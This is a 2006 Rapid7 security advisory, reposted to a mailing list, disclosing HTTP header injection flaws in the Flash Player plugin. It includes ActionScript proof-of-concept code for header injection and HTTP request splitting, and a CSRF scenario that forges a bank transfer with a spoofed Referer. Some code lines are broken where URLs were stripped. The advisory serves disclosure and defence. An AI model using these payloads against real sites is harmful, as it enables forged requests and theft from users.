Thread-topic: [VulnWatch] Rapid7 Advisory R7-0026: HTTP Header Injection Vulnerabilities in the Flash Player Plugin
> -----Original Message-----
> From: advisory@xxxxxxxxxx [mailto:advisory@xxxxxxxxxx]
> Sent: Wednesday, October 18, 2006 12:36 AM
> To: vulnwatch@xxxxxxxxxxxxx
> Subject: [VulnWatch] Rapid7 Advisory R7-0026: HTTP Header
> Injection Vulnerabilities in the Flash Player Plugin
>
> Rapid7 Advisory R7-0026
> HTTP Header Injection Vulnerabilities in the Flash Player Plugin
>
> Published: Oct 17, 2006
> Revision: 1.0
>
>
> 1. Affected System(s):
>
> KNOWN VULNERABLE:
> o Flash Player plugin 9.0.16 (for Windows)
> o Flash Player plugin 7.0.63 (for Linux)
>
> PROBABLY VULNERABLE:
> o Earlier 9.0.x and 7.0.x versions
> o 8.0.x versions
>
> KNOWN FIXED:
> o Flash Player plugin BETA version 9.0.18d60 (for Windows)
>
> 2. Summary
>
> Two HTTP Header Injection vulnerabilities have been
> discovered by Rapid7
> in the Flash Player plugin. They allow attackers to perform arbitrary
> HTTP requests while controlling most of the HTTP headers.
> This can make
> it easier to perform CSRF attacks [2] in some cases. When the HTTP
> server implements Keep-Alive connections and when Firefox is
> used, these
> Flash vulnerabilities can even be used to perform totally
> arbitrary HTTP
> requests where every part is controlled by the attacker: HTTP method,
> URI, HTTP version, headers, and data. Such attacks make use
> of the HTTP
> Request Splitting method.
>
> 3. Vendor Status and Information
>
> Adobe Systems, Inc.
>
>
> Sep 18, 2006
> Adobe acknowledges reception of the vulnerability details.
>
> Sep 29, 2006
> Adobe responds with proposed dates for a fix later this year.
>
> Oct 5, 2006
> Adobe releases a fixed BETA version of Flash 9 for Windows (version
> 9.0.18d60, release files are named beta_100406).
>
> Oct 17, 2006
> Advisory is published after expiration of the 30-day grace period
> granted to Adobe to fix and disclose the vulnerabilities.
>
> 4. Solution
>
> Used the fixed BETA version (9.0.18d60). Only allow trusted
> websites to
> use Flash. Disable or uninstall the Flash plugin. Use
> alternative Flash
> plugins (GplFlash, Gnash).
>
> 5. Detailed Analysis
>
> The vulnerabilities described hereafter have been successfully tested
> with the latest versions of Flash available for various
> platforms as of
> 2006/09/06, and with multiple combinations of browser/OS:
>
> o IE6 SP2 (aka IE6 SV1) for Windows, with Flash plugin 9.0.16
> o Firefox 1.5.0.6 for Windows, with Flash plugin 9.0.16
> o Firefox 1.5.0.6 for Linux, with Flash plugin 7.0.63
>
> 5.1. XML.addRequestHeader() Vulnerability
>
> Flash features a scripting language called ActionScript. ActionScript
> comes with a certain number of standard classes available to Flash
> developers. In particular, the send() method of the XML object can be
> used to send XML document trees to arbitrary URLs using, by default, a
> POST request. This, in itself, is not a vulnerability; the XML.send()
> method definitely complies with the Flash security model [4].
>
> However another method defined in the XML class,
> addRequestHeader(), can
> be used to add arbitrary HTTP headers to the request
> performed by Flash.
> Its intended usage is:
>
> var req:XML=new XML('test');
> req.addRequestHeader("X-My-Header", "42");
> req.send(";);
>
> When calling req.send(";), such a POST
> request would be
> submitted to 'host' (common HTTP headers that do not matter to us in
> this example have been removed for brevity):
>
> POST /path HTTP/1.1
> Host: host
> Referer: (referer)
> Content-type: application/x-www-form-urlencoded
> X-My-Header: 42
> Content-Length: 4
>
> test
>
> For security reasons, Flash 9 does not let developers use
> addRequestHeader() to set headers such as Host, Referer, or
> Content-Length.
>
> But there is a way to get around this security restriction: the
> addRequestHeader() method does not sufficiently sanity check its two
> arguments. This makes it possible to inject arbitrary headers:
>
> req.addRequestHeader("Referer:;, "bar");
>
> With IE, a request containing only the fake Referer is sent:
>
> POST /path HTTP/1.1
> Host: host
> Referer:
> Content-Type: application/x-www-form-urlencoded
> X-foo: bar
> Content-Length: 4
>
> test
>
> With Firefox, a request containing both the real Referer and the fake
> one is sent:
>
> POST /path HTTP/1.1
> Host: host
> Referer: (real referer)
> Content-type: application/x-www-form-urlencoded
> Referer:
> X-foo: bar
> Content-Length: 4
>
> test
>
> For this attack to work, the first argument of addRequestHeader() must
> not contain any space (ASCII 0x20) else the Flash plugin appears to
> ignore the addRequestHeader() call. This is absolutely not a
> problem in
> real-world attack scenarios, because the space character
> usually present
> before the Referer value is optional (see RFC 2616 [5], section "4.2
> Message Headers").
>
> It is interesting to note that IE seems to post-process the headers
> generated by Flash before sending them to the HTTP server. Indeed, IE
> diligently removes the real Referer to use the
> Flash-generated one, and
> it even automatically adds the optional space character
> before the fake
> Referer value.
>
> Of course any cookie that would be associated with 'host' would be
> automatically sent along with the request, which is another good thing
> for attackers.
>
> For total control of the generated request, when the server supports
> keep-alive connections and when Firefox is used, it is possible to use
> the HTTP Request Splitting method to insert another HTTP request:
>
> req.addRequestHeader("Content-Length:0\r\n\r\n" +
> "POST\t/anotherpath\tHTTP/1.1\r\n" +
> "Host:host\r\n" +
> "Referer:faked\r\n" +
> "User-Agent:faked\r\n" +
> "Content-Type:faked\r\n" +
> "Content-Length:3\r\n" +
> "\r\n" +
> "foo\n",
> "bar");
>
> This generates what Firefox thinks is one request, while in fact the
> server interprets it as two separate requests because of the fake
> "Content-Length:0" header:
>
> POST /path HTTP/1.1
> Host: host
> Keep-Alive: 300
> Connection: keep-alive
> Referer: (real referer)
> Content-type: application/x-www-form-urlencoded
> Content-Length:0
>
> POST /anotherpath HTTP/1.1
> Host:host
> Referer:faked
> User-Agent:faked
> Content-Type:faked
> Content-Length:3
>
> foo
> : bar
> Content-length: 4
>
> test
>
> Tabs (ASCII 0x09) have to be used around the URI ("/anotherpath")
> instead of spaces (ASCII 0x20) else, as explained above, Flash ignores
> the addRequestHeader() call. But other than this minor inconvenient,
> pretty much any other character can be sent, absolutely nothing is
> URL-encoded, which gives plenty of freedom to attackers.
>
> The unwanted data after "foo" (": bar\r\nContent-length:
> 4\r\n\r\ntest")
> do not create any problem at all either. Because the
> attacker-controlled
> "Content-Length:3" header takes care of instructing the
> server to ignore
> any subsequent data.
>
> When trying to use this HTTP Request Splitting method with
> IE, it fails
> with a generic "The page cannot be displayed" error. This is probably
> due to the fact that when IE post-processes the headers (as explained
> previously), it messes up the manually built HTTP request and ends up
> with something that doesn't look like 2 valid requests at all. In
> particular, what seems to trigger this error is the CR LF CR
> LF sequence
> separating the headers from the body. This issue has not been
> investigated any more. More research is necessary to determine if
> exploiting IE this way is possible.
>
> It should be pointed out that this new Flash 9 XML.addRequestHeader()
> vulnerability is similar to other, previously reported vulnerabilities
> in Flash 7 & 8 affecting the LoadVars class, as explained in this
> Bugtraq posting from Amit Klein [1]. So, in a certain way, this new
> vulnerability re-opens a path of exploitation that was available to
> attackers in Flash 7 & 8.
>
> 5.2. XML.contentType Vulnerability
>
> The XML class defines the contentType attribute, which can be set by
> Flash developers, e.g.:
>
> req.contentType = "text/plain";
>
> The exact same vulnerability than the one described in the previous
> section also exists for this attribute: Flash does not check the
> validity of its value before building the HTTP request. It is possible
> to exploit it in the same way that addRequestHeader() is used:
>
> req.contentType = "text/plain\r\nReferer: anything";
>
> Contrary to addRequestHeader(), Flash allows spaces (ASCII 0x20) to be
> used in this string.
>
> 5.3 Consequence
>
> The consequence of these vulnerabilities is that attackers have a lot
> more control on the headers that get sent along with HTTP requests,
> compared to what is commonly thought possible. In particular the Host,
> Referer, and User-Agent headers can be spoofed. It is even possible to
> voluntarily generate malformed HTTP requests too, when the
> HTTP Request
> Splitting method is used.
>
> But when combined with other flaws, such as XSS or CSRF, these Flash
> vulnerabilities become a handy tool to exploit them. The next section
> describes a CSRF attack scenario.
>
> 6. Exploitation Example
>
> 6.1. Description of CSRF Attacks
>
> A Cross-Site Request Forgery (CSRF) is a form of attack where a
> malicious site A exploits the trust a site B has in a user by
> forging an
> HTTP request and sending it to site B, which sees it as
> coming from its
> trusted user. See [2] for a more detailled description of
> CSRF attacks.
>
> The Flash vulnerabilities presented above can help attackers
> forge such
> HTTP requests.
>
> Multiple approaches exist to prevent CSRF attacks, offering varying
> levels of protection. For example requiring POST requests
> instead of GET
> requests is a very poor way to protect against them. Other times, the
> protection chosen by web site developers is to check for the HTTP
> Referer. The assumption is that spoofing the Referer header is much
> harder, but not impossible. These Flash vulnerabilities are able to
> spoof it.
>
> A much better way to protect against CSRF attacks is to
> require the use
> of a security hash, as described in [3].
>
> 6.2. Attack Scenario
>
> Let's say a malicious attacker is able to convince a user to visit his
> malicious website . The intent of the attacker is to
> perform a CSRF attack against the user's bank website to
> silently transfer money from the user's account to the attacker's
> account. This attack assumes that (1) the bank uses SSL/TLS (HTTPS)
> combined with cookie-based authentication, (2) checks the
> Referer header
> to prevent CSRF attacks (hopefully no bank is doing this),
> and (3) that
> a money transfer order can be initiated via such an HTTP request:
>
> POST /xfer.cgi HTTP/1.1
> Host: bank
> Referer:
> Cookie: ...
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 63
>
> from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer
>
> The attack also assumes the user is using Firefox, because we
> are going
> to use the CR LF CR LF sequence with addRequestHeader() to insert the
> HTTP body data (as explained in section 1.1 this sequence
> does not work
> with IE for an unknown reason).
>
> We have to insert the HTTP body using addRequestHeader() because this
> way the body doesn't get URL-encoded by Flash (it is URL-encoded when
> passed as a string to the XML() constructor).
>
> And we have to prevent URL-encoding in order to preserve the
> ampersands
> ("&") present in the body ("from=...&to=...").
>
> So, in order to perform the attack, the attacker would have to place a
> Flash movie on containing this ActionScript code:
>
> var req:XML=new XML('x');
> req.addRequestHeader(
> "Referer:; +
> "Content-Length:63\r\n" +
> "\r\n" +
>
> "from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer\r\n",
> "y");
> req.send(";);
>
> Then, when the user would visit , assuming his browser
> still owns an unexpired cookie from the bank, this request
> would be sent
> via HTTPS (XML.send() allows an HTTP site to send data over HTTPS):
>
> POST /xfer.cgi HTTP/1.1
> Host: bank
> Referer:
> Cookie: (bank cookie)
> Content-type: application/x-www-form-urlencoded
> Referer:
> Content-Length:63
>
> from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer
> : y
> Content-length: 1
>
> x
>
> And the attack would succeed, despite SSL/TLS, despite the
> cookie auth,
> and despite the Referer check (if the application server takes into
> account the second Referer).
>
> If URL-encoding of the HTTP body is acceptable, then IE can
> be targetted
> by not using the CR LF CR LF sequence, then only one Referer would be
> present in the headers.
>
> 7. Credits
>
> This vulnerability was discovered by Marc Bevand of Rapid7.
>
> 8. Contact Information
>
> Rapid7, LLC
> Email: advisory@xxxxxxxxxx
> Web:
> Phone: +1 (310) 316-1235
>
> 9. Disclaimer and Copyright
>
> Rapid7, LLC is not responsible for the misuse of the information
> provided in our security advisories. These advisories are a service to
> the professional security community. There are NO WARRANTIES
> with regard
> to this information. Any application or distribution of this
> information
> constitutes acceptance AS IS, at the user's own risk. This
> information
> is subject to change without notice.
>
> This advisory Copyright (C) 2006 Rapid7, LLC. Permission is hereby
> granted to redistribute this advisory, providing that no changes are
> made and that the copyright notices and disclaimers remain intact.
>
> 10. Footnotes
>
> [1]
> [2]
> [3]
> [4] The Flash security model allows SWF files to perform XML.send()
> requests to other domains, because this method can only be used to
> send requests (and not receive the associated responses, which could
> be sensitive/private data). This, plus the fact that Flash enforces
> other restrictions (such as preventing the overwriting of some HTTP
> headers), explains why the security model allows cross-domain
> XML.send() requests.
> [5] RFC 2616 - Hypertext Transfer Protocol -- HTTP/1.1
> ftp://ftp.rfc-editor.org/in-notes/rfc2616.txt
>
>
>
